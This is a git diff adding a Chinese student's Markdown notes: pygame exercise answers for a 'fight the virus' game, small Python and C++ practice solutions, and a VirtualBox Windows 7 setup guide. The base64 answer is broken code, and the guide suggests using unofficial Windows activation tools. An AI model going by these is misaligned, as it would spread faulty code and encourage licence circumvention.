"a/\343\200\212\345\215\201\344\271\235\343\200\201\347\273\230\345\210\266\345\207\272\347\227\205\346\257\222\345\271\266\345\220\221\345\267\246\347\247\273\345\212\250\343\200\213\347\273\203\344\271\240\351\242\230\347\255\224\346\241\210.md" "b/\343\200\212\345\215\201\344\271\235\343\200\201\347\273\230\345\210\266\345\207\272\347\227\205\346\257\222\345\271\266\345\220\221\345\267\246\347\247\273\345\212\250\343\200\213\347\273\203\344\271\240\351\242\230\347\255\224\346\241\210.md" new file mode 100644 index 0000000..d24c458 --- /dev/null +++ "b/\343\200\212\345\215\201\344\271\235\343\200\201\347\273\230\345\210\266\345\207\272\347\227\205\346\257\222\345\271\266\345\220\221\345\267\246\347\247\273\345\212\250\343\200\213\347\273\203\344\271\240\351\242\230\347\255\224\346\241\210.md" @@ -0,0 +1,88 @@ +```python +让病毒0.5秒生成一个。 +``` + +```python +import pygame +from random import randint,choice +from time import sleep,time +from os import system,remove +from os.path import exists +from pygame.locals import * + +pygame.init() +canvas = pygame.display.set_mode((980,700)) +canvas.fill((255,255,255)) +pygame.display.set_caption('抗击病毒') + +bg = pygame.image.load('images/hospital.jpg') +doctor = pygame.image.load('images/doctor.png') +virus1 = pygame.image.load('images/virus.png') +virus2 = pygame.image.load('images/virus.jpg') +virus3 = pygame.image.load('images/virus.jpeg') +boss1 = pygame.image.load('images/boss1.png') +boss2 = pygame.image.load('images/boss2.png') +lose = pygame.image.load('images/lose.jpg') +bullet = pygame.image.load('images/bullet.png') +win = pygame.image.load('images/win.jpg') +bag1 = pygame.image.load('images/bag.png') + +def isActionTime(lastTime,interval): + if lastTime == 0: + return True + currentTime = time() + return currentTime - lastTime >= interval + +def conPaint(): + canvas.blit(bg,(0,0)) + + for virus in Game.virus: + virus.paint() + +def event(): + for event in pygame.event.get(): + if event.type == QUIT: + pygame.quit() + exit() + +def conEnter(): + if not isActionTime(Game.lastTime,Game.interval): + return + Game.lastTime = time() + Game.virus.append(Virus()) + +def conStep(): + for virus in Game.virus: + virus.step() + +def control(): + conPaint() + event() + conEnter() + conStep() + pygame.display.update() + +class Virus(): + def __init__(self): + self.width = 33 #图片的宽 + self.height = 33 #图片的高 + self.img = choice(Game.virus_imgs) #随机使用病毒的图片 + self.x = 1000 - self.width #X坐标 + self.y = randint(0,700 - self.height) #随机的Y坐标 + self.speed = randint(1,10) #向左飞行的速度 + def paint(self): #绘制 + canvas.blit(self.img,(self.x,self.y)) + def step(self): #移动 + self.x -= self.speed + + +class Game(): + virus_imgs = [virus1,virus2,virus3] + virus = [] + lastTime = time() + interval = 0.5 + +while True: + control() +``` + diff --git "a/\343\200\212\345\215\201\344\272\214\343\200\201\351\232\217\346\234\272\346\225\260\343\200\213\347\273\203\344\271\240\351\242\230\347\255\224\346\241\210.md" "b/\343\200\212\345\215\201\344\272\214\343\200\201\351\232\217\346\234\272\346\225\260\343\200\213\347\273\203\344\271\240\351\242\230\347\255\224\346\241\210.md" new file mode 100644 index 0000000..d741989 --- /dev/null +++ "b/\343\200\212\345\215\201\344\272\214\343\200\201\351\232\217\346\234\272\346\225\260\343\200\213\347\273\203\344\271\240\351\242\230\347\255\224\346\241\210.md" @@ -0,0 +1,14 @@ +```python +练习题 +声明空列表numbers,用循环添加1~100所有数字到列表中。然后随机选择一个数字,输出。 +``` + +```python +from random import choice +numbers = [] +for i in range(1,101): + numbers.append(i) + +print(choice(numbers)) +``` + diff --git "a/\343\200\212\345\215\201\344\272\224\343\200\201base64\347\274\226\347\240\201\343\200\213\347\273\203\344\271\240\351\242\230\347\255\224\346\241\210.md" "b/\343\200\212\345\215\201\344\272\224\343\200\201base64\347\274\226\347\240\201\343\200\213\347\273\203\344\271\240\351\242\230\347\255\224\346\241\210.md" new file mode 100644 index 0000000..04f423d --- /dev/null +++ "b/\343\200\212\345\215\201\344\272\224\343\200\201base64\347\274\226\347\240\201\343\200\213\347\273\203\344\271\240\351\242\230\347\255\224\346\241\210.md" @@ -0,0 +1,10 @@ +```java +练习题 +请使用base64加密“你好,世界”。 +``` + +```python +from base64 import b64encode +print(b64encode('你好,世界'.decode('UTF-8'))) +``` + diff --git "a/\343\200\212\345\215\201\345\205\253\343\200\201\347\273\230\345\210\266\346\270\270\346\210\217\350\203\214\346\231\257\345\233\276\347\211\207\343\200\213\347\273\203\344\271\240\351\242\230\347\255\224\346\241\210.md" "b/\343\200\212\345\215\201\345\205\253\343\200\201\347\273\230\345\210\266\346\270\270\346\210\217\350\203\214\346\231\257\345\233\276\347\211\207\343\200\213\347\273\203\344\271\240\351\242\230\347\255\224\346\241\210.md" new file mode 100644 index 0000000..c43c28a --- /dev/null +++ "b/\343\200\212\345\215\201\345\205\253\343\200\201\347\273\230\345\210\266\346\270\270\346\210\217\350\203\214\346\231\257\345\233\276\347\211\207\343\200\213\347\273\203\344\271\240\351\242\230\347\255\224\346\241\210.md" @@ -0,0 +1,51 @@ +```python +绘制出virus1的图片,位置(100,100)。 +``` + +```python +import pygame +from random import randint,choice +from time import sleep,time +from os import system,remove +from os.path import exists +from pygame.locals import * + +pygame.init() +canvas = pygame.display.set_mode((980,700)) +canvas.fill((255,255,255)) +pygame.display.set_caption('抗击病毒') + +bg = pygame.image.load('images/hospital.jpg') +doctor = pygame.image.load('images/doctor.png') +virus1 = pygame.image.load('images/virus.png') +virus2 = pygame.image.load('images/virus.jpg') +virus3 = pygame.image.load('images/virus.jpeg') +boss1 = pygame.image.load('images/boss1.png') +boss2 = pygame.image.load('images/boss2.png') +lose = pygame.image.load('images/lose.jpg') +bullet = pygame.image.load('images/bullet.png') +win = pygame.image.load('images/win.jpg') +bag1 = pygame.image.load('images/bag.png') + +def conPaint(): + canvas.blit(bg,(0,0)) + canvas.blit(virus1,(100,100)) + +def event(): + for event in pygame.event.get(): + if event.type == QUIT: + pygame.quit() + exit() + +def control(): + conPaint() + event() + pygame.display.update() + + + +while True: + control() +``` +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210130113353248.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) + diff --git "a/\343\200\212\345\215\201\345\205\255\343\200\201PyGame\346\230\276\347\244\272\345\233\276\347\211\207\343\200\213\347\273\203\344\271\240\351\242\230\347\255\224\346\241\210.md" "b/\343\200\212\345\215\201\345\205\255\343\200\201PyGame\346\230\276\347\244\272\345\233\276\347\211\207\343\200\213\347\273\203\344\271\240\351\242\230\347\255\224\346\241\210.md" new file mode 100644 index 0000000..5d13d3f --- /dev/null +++ "b/\343\200\212\345\215\201\345\205\255\343\200\201PyGame\346\230\276\347\244\272\345\233\276\347\211\207\343\200\213\347\273\203\344\271\240\351\242\230\347\255\224\346\241\210.md" @@ -0,0 +1,34 @@ +```python +练习题 +使用课中所介绍的同样的方法,在page2.py中,绘制图片./images/start page/bg2.jpg。 +``` + +```python +#导入包 +import pygame +from pygame.locals import * +from sys import exit + +#创建一个窗口 +pygame.init() #初始化窗口 +canvas = pygame.display.set_mode((1000,600)) #新建一个长1000像素,宽600像素的窗口 +canvas.fill((255,255,255)) #填充白色,中间是RGB值 +pygame.display.set_caption('抗击病毒') #窗口标题 + +#导入图片 +image2 = pygame.image.load('./images/start page/bg2.jpg') + +#处理事件函数 +def event(): + for event in pygame.event.get(): #遍历窗口的事件 + if event.type == QUIT: #如果是退出事件 + pygame.quit() #关闭窗口 + exit() #退出程序 + +#设定循环 +while True: + canvas.blit(image2,(0,0)) + event() + pygame.display.update() #更新窗口 +``` + diff --git "a/\343\200\212\345\215\201\345\233\233\343\200\201\346\240\274\345\274\217\345\214\226\345\255\227\347\254\246\344\270\262\343\200\201\344\275\277\347\224\250CMD\345\221\275\344\273\244\343\200\213\347\273\203\344\271\240\351\242\230\347\255\224\346\241\210.md" "b/\343\200\212\345\215\201\345\233\233\343\200\201\346\240\274\345\274\217\345\214\226\345\255\227\347\254\246\344\270\262\343\200\201\344\275\277\347\224\250CMD\345\221\275\344\273\244\343\200\213\347\273\203\344\271\240\351\242\230\347\255\224\346\241\210.md" new file mode 100644 index 0000000..2835249 --- /dev/null +++ "b/\343\200\212\345\215\201\345\233\233\343\200\201\346\240\274\345\274\217\345\214\226\345\255\227\347\254\246\344\270\262\343\200\201\344\275\277\347\224\250CMD\345\221\275\344\273\244\343\200\213\347\273\203\344\271\240\351\242\230\347\255\224\346\241\210.md" @@ -0,0 +1,10 @@ +```python +练习题 +调整窗口颜色为0A,命令为color 0A。 +``` + +```python +from os import system +system('color 0A') +``` + diff --git "a/\343\200\212\345\233\233\343\200\201if\350\257\255\345\217\245\343\200\213\347\273\203\344\271\240\351\242\230\347\255\224\346\241\210.md" "b/\343\200\212\345\233\233\343\200\201if\350\257\255\345\217\245\343\200\213\347\273\203\344\271\240\351\242\230\347\255\224\346\241\210.md" new file mode 100644 index 0000000..f9539ea --- /dev/null +++ "b/\343\200\212\345\233\233\343\200\201if\350\257\255\345\217\245\343\200\213\347\273\203\344\271\240\351\242\230\347\255\224\346\241\210.md" @@ -0,0 +1,18 @@ +```python +请使用if-elif-else判断用户输入的年龄,如果年龄≥18,输出“成年人”;如果年龄≥45,输出“中年人”;如果年龄≥60且年龄≤100,那么输出“老年人”,不考虑其他情况。 +``` + +```python +age = int(input('请输入您的年龄:')) +if age >= 18: + print('成年人') +elif age >= 45: + print('中年人') +elif age >= 60 and age <= 100: + print('老年人') +else: + pass +``` + +
+注:下次我们要学习一个很神奇的东西!请留出足够的内存! diff --git "a/\343\200\220\346\240\241\345\206\205\347\257\207\343\200\221\345\246\202\344\275\225\345\256\211\350\243\205\344\270\200\345\217\260\350\231\232\346\213\237\346\234\272.md" "b/\343\200\220\346\240\241\345\206\205\347\257\207\343\200\221\345\246\202\344\275\225\345\256\211\350\243\205\344\270\200\345\217\260\350\231\232\346\213\237\346\234\272.md" new file mode 100644 index 0000000..ce12f07 --- /dev/null +++ "b/\343\200\220\346\240\241\345\206\205\347\257\207\343\200\221\345\246\202\344\275\225\345\256\211\350\243\205\344\270\200\345\217\260\350\231\232\346\213\237\346\234\272.md" @@ -0,0 +1,161 @@ +咱们的微机老师要求上微机课用的电脑必须要用 $Windows\ 7$,但是很多同学的电脑也许并不匹配,造成了诸多不便。 +作为班长,我觉得有必要把自己的一些技术共享给大家,方便大家使用。 + +@[toc] + +# 一、准备材料😀 +准备以下材料: + +- 一台实体电脑; +- 足够的存储空间(至少要空闲 $\text{30 GB}$); +- 你自己的耐心和毅力。 + +整个安装过程大概需要一个半小时吧(取决于你的电脑的性能),也有可能遇到一些问题或者安装失败等情况,所以提前做好心理准备嗷! + +--- + +# 二、下载镜像😆 +这一步确实令人抓狂。我们需要一个$\text{ Windows7 }$的[【镜像】](https://pan.baidu.com/s/16tMzgpbx0KJzSLhXcyDskQ?pwd=7k32),这个东西很大,从网上下载需要非常多的时间。 +如果你没有百度网盘的会员,那还是推荐你买一个或者在[【$\text{ MSDN }$】](https://msdn.itellyou.cn/) 找一个,从迅雷链接下。 + +另外,上面的链接给大家提供了 $\text{Windows7 x64}$ 家庭高级版的镜像。如果你的实体电脑系统是 $\text{x86}$ 的,那你就从上文所述的 $\text{MSDN}$ 找 $\text{x86}$ 的镜像下。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/4d9b5a56ef0848ab82ff72a496491b30.png) +例如,我的电脑系统就是 $\text{x64}$ 的。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/bab02b613fce4776b5e355caebfd8feb.png) + +# 三、下载、安装虚拟机软件🤔 +软件指虚拟机软件,目前市面上比较流行的是 $\text{VMware}$ 和 $\text{VirtualBox}$。我的电脑不知道为什么缺少插件,所以用的 $\text{VirtualBox}$,我们也拿它来做演示。 + +首先,从网上下载一个[【安装包】](https://www.virtualbox.org/)。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/3a2675eaddd047d7add10824c74035e7.png) +然后,再按默认选项一步步执行,这里就不再赘述,参考[【此文章】](https://blog.csdn.net/l1015649309/article/details/124519596#1%E3%80%81%E8%99%9A%E6%8B%9F%E6%9C%BAVirtualBox%E4%B8%8B%E8%BD%BD%E4%B8%8E%E5%AE%89%E8%A3%85)。 +(安装位置可以随便选,软件版本可能不一样也没关系) + +# 四、安装虚拟机😐 +> 这是比较关键的一步,大家跟随好我的步骤嗷。 + +## 4.1、虚拟机软件配置🤨 +安装好以后,应该是这个界面吧: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/6b226f59414d4de086c758e57d732c6d.png) +点那个蓝色的按钮“新建”。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/37152fbc0b034be899e04b381825f803.png) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/98af2bee9cdc4b708cdd3b78c0ca0963.png) + +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/df7e5b2de1814591a5dd06d7acbe423a.png) + + +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/e7e7c236720941acb741766a7540c1ab.png) +至此,你会发现又多出一个选项来。这时点击启动,我们将进行软件的安装。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/d3fd6fb61662445aaa528d4241921ec8.png) +## 4.2、虚拟机系统的安装🙄 +点击绿色箭头后,等待一会儿会弹出一个窗口,提示选择 $\text{DVD}$。 + +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/63bb9c9a5ce8479f9adaff8a5847da8f.png) +看到旁边的那个小 $\text{v}$ 了吗?点它,然后再点“其他”。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/9508fce58d3542dd9659c78f2f739437.png) +在弹出的选择框内,选择你下载的镜像。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/919e6584070046ba95c5c592aeda5f9a.png) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/e0693de9fb85489a9025dd5af56cb870.png) +等待系统安装界面弹出。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/66367c843aba4aa59b168440e3cab579.png) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/a6019081f12f4dd68908b38d26d67f40.png) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/5d5af654dcde44e69617cefab491d7f8.png) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/8bcd37295672473983438fa0545a8fdc.png) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/f69f55e7ed7046db951888ee63b2187e.png) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/46e1b073eb2d4c8aaff8836ef2c0f432.png) +然后你可以发现这个页面。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/cd2c1683f6ed444aa959b3ae4d23b3c0.png) +你需要等待系统把 $\text{Windows}$ 的文件复制、展开等,所以你可以先去歇会儿。 +在我的电脑上约 $5$ 分钟后,系统开始自动进行下一步操作。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/0edc5aa0894248e0bb2c006a2fbd8ebc.png) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/037e1da24b3e4c77bc66e4003ccf8feb.png) +等待完成安装。 + +> 如果你的虚拟机在安装时突然闪退,不要灰心,从头来过,删除原来的所有分区即可。 + +如果看到这个界面,就说明你成功了大半啦! +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/98e03aa7e67d42ccb00463c8c51133ee.png) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/3750a92dbc614a26bdfe2eaabcc5fc18.png) + +现在,你看到这个窗口了吗? +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/f0a4cf506d824995b1823a80183dac02.png) +要求我们输入用户名和计算机名称,随便起一个,但计算机名不能和用户名重复: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/80e522111dc34cf2b3b447cc5d509812.png) +至于密码,愿意弄就弄,不愿意弄就直接下一步。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/90ad77966bb449eb856cd41ab156f6f2.png) +激活相关,我们可以从网上找激活工具,激活即可。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/9e7a9d8dd82b488f83b5726acbe20882.png) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/315fed61784a49a79578a45e7d6bf84b.png) +配置网络: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/0da77014075d4f4a8b13a1d40c825474.png) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/da4cf25e51b9448b89e8e1716b40f039.png) +等待一会儿后,你就可以看到“欢迎”界面了,稍等片刻,就能见到久违的桌面咯。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/19f43a66711245ddbf2df629c1a50435.png) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/85b7bf8d93c44e05bf9c040a478c6197.png) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/29d51fc4cf3a42f28a59f49a359686c9.png) +至此,虚拟机配置步骤全部完成,祝贺你! + +# 五、虚拟机安装好以后的事儿😅 +## 5.1、配置分辨率😕 +把虚拟机页面全屏放大,在桌面上右键、屏幕分辨率。选择一个合适的分辨率。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/bc8cd572e59d437185645dbaf0988ecd.png) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/561f91ebc2cb492397de34f1a1f34e14.png) +## 5.2、设置桌面图标🙂 +桌面上,单击右键,个性化左侧边栏中有“更改桌面图标”。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/4d54f91822854532a6cd87a386068e6f.png) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/47ef242a063143cabf397e792c8599ec.png) +确定后,桌面上就有了你需要的图标。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/dc3fbecda4b94a2b90efdff4b7f493b0.png) +## 5.3、配置增强功能😊 +> 别着急,真的快弄好了。 + + +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/18817b3f941b474796e4038b6f415d20.png) +里面有一个“安装增强功能”,点击它。 +在“计算机”里面双击图标,进入。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/34aaad738ce245bca816d1720d457f9a.png) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/72fa70f67a4542eabe410362df844d09.png) +运行这个。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/1c4326cf42bb4704b9c62ab3a64a42a2.png) +然后一路 $\text{Next}$ 就行。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/790eb3795f344558b45ad4ac3411c4ee.png) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20c3548ffcb4493ca198afd70ab8ed42.png) +(不要害怕,装就完了) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/180ca15d5472486aa3afc09ff9c3ee4e.png) +看到这个界面,先别点 $\text{Finish}$。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/95cc06f7c44c467e89c6830011d5f071.png) + +共享文件夹,点击,打开配置。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/26d61e9896d64fb59dfe114d05357618.png) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/bca2bda05dd84aa693bbbf47cd02c62f.png) +分配一个共享文件夹,路径自选。 +共享粘贴板、拖放,选择双向。 + +完成以后,再点 $\text{Finish}$ ,系统重启后即生效。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/ef0c694856324cb691b6e302d874010f.png) +## 5.4、备份快照 +记录你系统当前的样子,这样就算你的电脑被病毒破坏,也可以通过快照恢复被病毒破坏前的样子。 +回到虚拟机软件主页面,点旁边的那三个横杠。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/b4f0cfb43d4944b5b8b9d6f76f28adac.png) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/257ce535237d4eae93d35a5097594fd1.png) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/58f9fc3825bd4dada69e1a2dc496799a.png) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/fa9e7d26b9224c1899871cf5badf4aac.png) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/6b777d8c8353483b8770fc5cdf1d4683.png) +然后就可以啦! + +当你的电脑遇到异常时,你可以恢复到原来的快照,但这会使你丢失当前虚拟机的状态: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/43a28a0626b743b48aa7c74ac64dafe5.png) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/fc933e39feb64d70a45ff900125f8955.png) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/90e6954a6db348ac9860c9630ef63139.png) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/f3a06e8cdc884406847d38938c381516.png) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/eff22d8d6b884a4a9169389591185988.png) +效果: + +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/af64532fd12c4733ae7d076b8fc07d05.png) +## 5.5、关于激活😑 +推荐参考[知乎](https://www.zhihu.com/search?type=content&q=Windows7%20%E6%BF%80%E6%B4%BB)的问答,不在此赘述。 + +# 六、安装软件🙂 +不用多说了吧,安装你需要的软件即可。 +# 七、大功告成🤩 +祝贺你拥有了自己的一台虚拟机! diff --git "a/\343\200\220\350\223\235\346\241\245\346\235\257\343\200\2214\346\234\21017\346\227\245\347\234\201\350\265\233\345\210\267\351\242\230\350\256\255\347\273\203\357\274\210\345\211\2153\351\201\223\351\242\230\357\274\211.md" "b/\343\200\220\350\223\235\346\241\245\346\235\257\343\200\2214\346\234\21017\346\227\245\347\234\201\350\265\233\345\210\267\351\242\230\350\256\255\347\273\203\357\274\210\345\211\2153\351\201\223\351\242\230\357\274\211.md" new file mode 100644 index 0000000..0104d49 --- /dev/null +++ "b/\343\200\220\350\223\235\346\241\245\346\235\257\343\200\2214\346\234\21017\346\227\245\347\234\201\350\265\233\345\210\267\351\242\230\350\256\255\347\273\203\357\274\210\345\211\2153\351\201\223\351\242\230\357\274\211.md" @@ -0,0 +1,145 @@ +@[TOC] + +# 前言 +我这两天参加了蓝桥杯大赛,在市赛中获得了二等奖成绩(考得一般,只超过了 76% 的同学),进入省赛。我参加的是4月23日(周六)的比赛,所以提前来做做4月17日的刷题工作,大家凑合着看看吧,我考完了再给大家分享我的考试经过。 + +# 刷题,走起 +有几个题,我们一起来看看吧,如果有不对的地方请大家指出来! + +## 编程实现:比较大小 + +> 题目描述: +给定两个正整数N和M(0 +using namespace std; +int main(){ + int n,m; + cin>>n>>m; + cout<<(n>m?n:m); + return 0; +} +``` + +## 编程实现:分解整数 +> 题目描述: +给定一个正整数N,然后将N分解成3个正整数之和。计算出共有多少种符合要求的分解方法。 +要求: +1)分解的3个正整数各不相同; +2)分解的3个正整数中都不含数字3和7。 +如:N为8,可分解为(1,1,6)、(1,2,5)、(1,3,4)、(2,2,4)、(2,3,3),其中满足要求的分解方法有1种,为(1,2,5)。 + +懒得写深搜(犯懒,再一个有点懵), +直接套循环,模拟算法,别人看起来可能有点可笑。。 + +```cpp +// Author:PanDaoxi +#include +using namespace std; +int main(){ + int n,sum=0; + cin>>n; + for(int i=1;i<=n;i++){ + for(int j=1;j<=n;j++){ + for(int k=1;k<=n;k++){ + if(i+j+k==n){ + if(i!=3&&j!=3&&k!=3&&i!=7&&j!=7&&k!=7&&i!=j&&i!=k&&j!=k&&i 提示信息: 因数:因数是指整数a除以整数b(b≠0) 的商正好是整数而没有余数,我们就说b是a的因数。 +> 公因数:给定若干个整数,如果有一个(些)数是它们共同的因数,那么这个(些)数就叫做它们的公因数。 +> 互质数:公因数只有1的两个非零自然数,叫做互质数;例如:2和3,公因数只有1,为互质数。 题目描述: +> 某商店将一种糖果按照数量打包成N和M两种规格来售卖(N和M为互质数,且N和M有无数包)。这样的售卖方式会限制一些数量的糖果不能买到。那么在给出N和M的值,请你计算出最多不能买到的糖果数量。 +> 例如: +> 当N=3,M=5,3和5为互质数,不能买到的糖果数量有1,2,4,7,最多不能买到的糖果数量就是7,7之后的任何数量的糖果都是可以通过组合购买到的。 + +看着就麻烦,啊啊啊!!! +我又不会集合,不会穷举,这个…… +我网上冲了个浪,参考了一下 [**博客园用户 Aikoin 的文章**](https://www.cnblogs.com/Aikoin/p/10504719.html),大家可以一起看看,主要是这样几句话: + +> 做这道题有一个结论可以直接用:两个互质数a、b的最大不能组合数为ab-a-b。下面给出详细证明(参考): +> +> 如果有离散数学的基础,我们知道可以把所有非负整数划分成a个模a同余等价类,记为[0],[1],[2],...,[a-1],分别为ak,ak+1,ak+2,…,ak+(a-1),(k∈Z)。b的倍数一定分布在这a个等价类中,又因为gcd(a,b)=1,所以每个等价类中都有b的倍数,且均分分布(这边想不通可以自己取两个数比画一下,就很好理解了)。特别的,ab∈[0]。设bKi是等价类[i]中最小的b的倍数,那么该等价类中bKi后的所有数都能表示成ax+bKi,一定能被组合出来。显然,最大的bKi后面的所有连续整数都可以被组合出来,而要找到最大不能组合数,我们只需考虑最大的bKi前面的数字即可。把所有的bKi列出来,有{0,b,2b,...,(a-1)b}。很显然(a-1)b就是最大的bKi,而在其他a-1个等价类中,必定有比它小且能被组合的数,这些数就是(a-1)b-1,(a-1)b-2,...,(a-1)b-(a-1)。所以最大不能被组合数就是(a-1)b-a,即ab-a-b。 +> +> 为了便于理解,我以4、7为例画了个图表,结合图表应该很容易就能看懂上面的证明过程: +> ![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/adddc79f6961a85079cb71cb81debbfe.png#pic_center) + +别问我对于这一大段话懂不懂,我也不明白,看看这个表格呢?这有待我们研究。先把代码贴在这: + +```cpp +// Author:PanDaoxi +#include +using namespace std; +int main(){ + int m,n; + cin>>m>>n; + cout< +using namespace std; + +int main(){ + int n,m; + cin >> n >> m; + cout << max(n,m) << endl; + //方式二 if...else + //方式三 三木运算符 + return 0; +} + +``` +## 第二题 + +```cpp +#include +using namespace std; +int n, ans; + +bool isSame(int x,int y,int z){ + //每位均不能为3,7 + if(x==3||x==7||y==3||y==7||z==3||z==7) + return false; + //两两不能相等 + if(x == y || x == z || y == z) + return false; + return true; +} + +int main(){ + cin >> n; + for(int i = 1;i < n;i++){ + for(int j = 1;j < n;j++){ + if(n-i-j > 0 && isSame(i,j,n-i-j)){ + ans++; + } + } + } + cout << ans / 6; //3位数全排列 6种情况,题意是需要去掉 + return 0; +} + +``` +## 第三题(暂无) + + diff --git "a/\344\270\200\343\200\201HELLO,C++.md" "b/\344\270\200\343\200\201HELLO,C++.md" new file mode 100644 index 0000000..043e5a7 --- /dev/null +++ "b/\344\270\200\343\200\201HELLO,C++.md" @@ -0,0 +1,203 @@ + + +hello,大家好,我是你们的新朋友,你们可以叫我小潘~ + +或许大家是第一次见到我,也有可能是其他平台过来的,我都要给大家作个自我介绍:我是来自河北石家庄的一名新初一学生。我热爱编程技术,擅长Python、C++和命令行(Windows批处理),目标是信息学竞赛。 +我的同学们都说我很幽默,甚至有人说我“不正经”😑 。 + +你现在看到的文章是一个特别、特别厉害的失败者写下的,希望大家可以吸取我的惨痛教训,创造出你们的海阔天空。 + +> 咳咳,别的好成绩别说,我直到现在的模拟赛成绩都在100以内。 + +OK,我们介绍完了,来说说这个专辑**C++信息学竞赛从入门到出门**😎 ,大家可以在这里从学C++,入门信息学竞赛,~~然后再出门~~! + +--- +那我们废话不多说,现在我们来开始今天的内容———— +# HELLO,C++ +首先吧,你得知道C++是啥,不然学了半天都白学。 + +> C++ 是一种静态类型的、编译式的、通用的、大小写敏感的、不规则的编程语言,支持过程化编程、面向对象编程和泛型编程。 +C++ 被认为是一种中级语言,它综合了高级语言和低级语言的特点。 +C++ 是由 Bjarne Stroustrup 于 1979 年在新泽西州美利山贝尔实验室开始设计开发的。C++ 进一步扩充和完善了 C 语言,最初命名为带类的C,后来在 1983 年更名为 C++。 +C++ 是 C 